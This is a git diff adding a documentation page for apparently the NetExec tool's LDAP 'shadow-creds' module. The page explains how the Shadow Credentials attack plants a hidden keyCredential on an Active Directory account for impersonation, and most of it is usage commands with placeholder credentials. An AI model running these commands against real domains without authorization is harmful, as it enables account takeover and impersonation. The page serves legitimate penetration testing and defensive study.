diff --git a/SUMMARY.md b/SUMMARY.md index 537ad2b..52611ea 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -117,6 +117,7 @@ * [Get User Descriptions](ldap-protocol/get-user-descriptions.md) * [Dump gMSA](ldap-protocol/dump-gmsa.md) * [Pre2k Computer Account Abuse](ldap-protocol/pre2k.md) +* [🆕 Shadow Credentials Attack](ldap-protocol/shadow-credentials.md) * [Exploit ESC8 (ADCS)](ldap-protocol/exploit-esc8-adcs.md) * [Extract Subnet](ldap-protocol/extract-subnet.md) * [Check LDAP Signing](ldap-protocol/check-ldap-signing.md) diff --git a/ldap-protocol/shadow-credentials.md b/ldap-protocol/shadow-credentials.md new file mode 100644 index 0000000..370b2d8 --- /dev/null +++ b/ldap-protocol/shadow-credentials.md @@ -0,0 +1,45 @@ +--- +description: Shadow Credentials Attack +--- + +# 🆕 Shadow Credentials Attack + +The LDAP shadow-creds module enables the Shadow Credentials attack, an exploitation technique inspired by [pyWhisker](https://github.com/ShutdownRepo/pywhisker). This attack allows an attacker to add a hidden authentication credential to a target account and impersonate it without modifying its existing password. + +Relevated actions are below: + +``` +list +add +remove +backup +revert +keyCredentials of computers. +``` + + +Add/list/remove usage + +```bash +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=add +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=remove +``` + +Cred info usage + +```bash +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=info DEVICE_ID= +``` + +Backup and Revert + +```bash +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=add +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=backup +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=remove DEVICE_ID= +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=revert JSONFILE=shadow-creds.json +``` +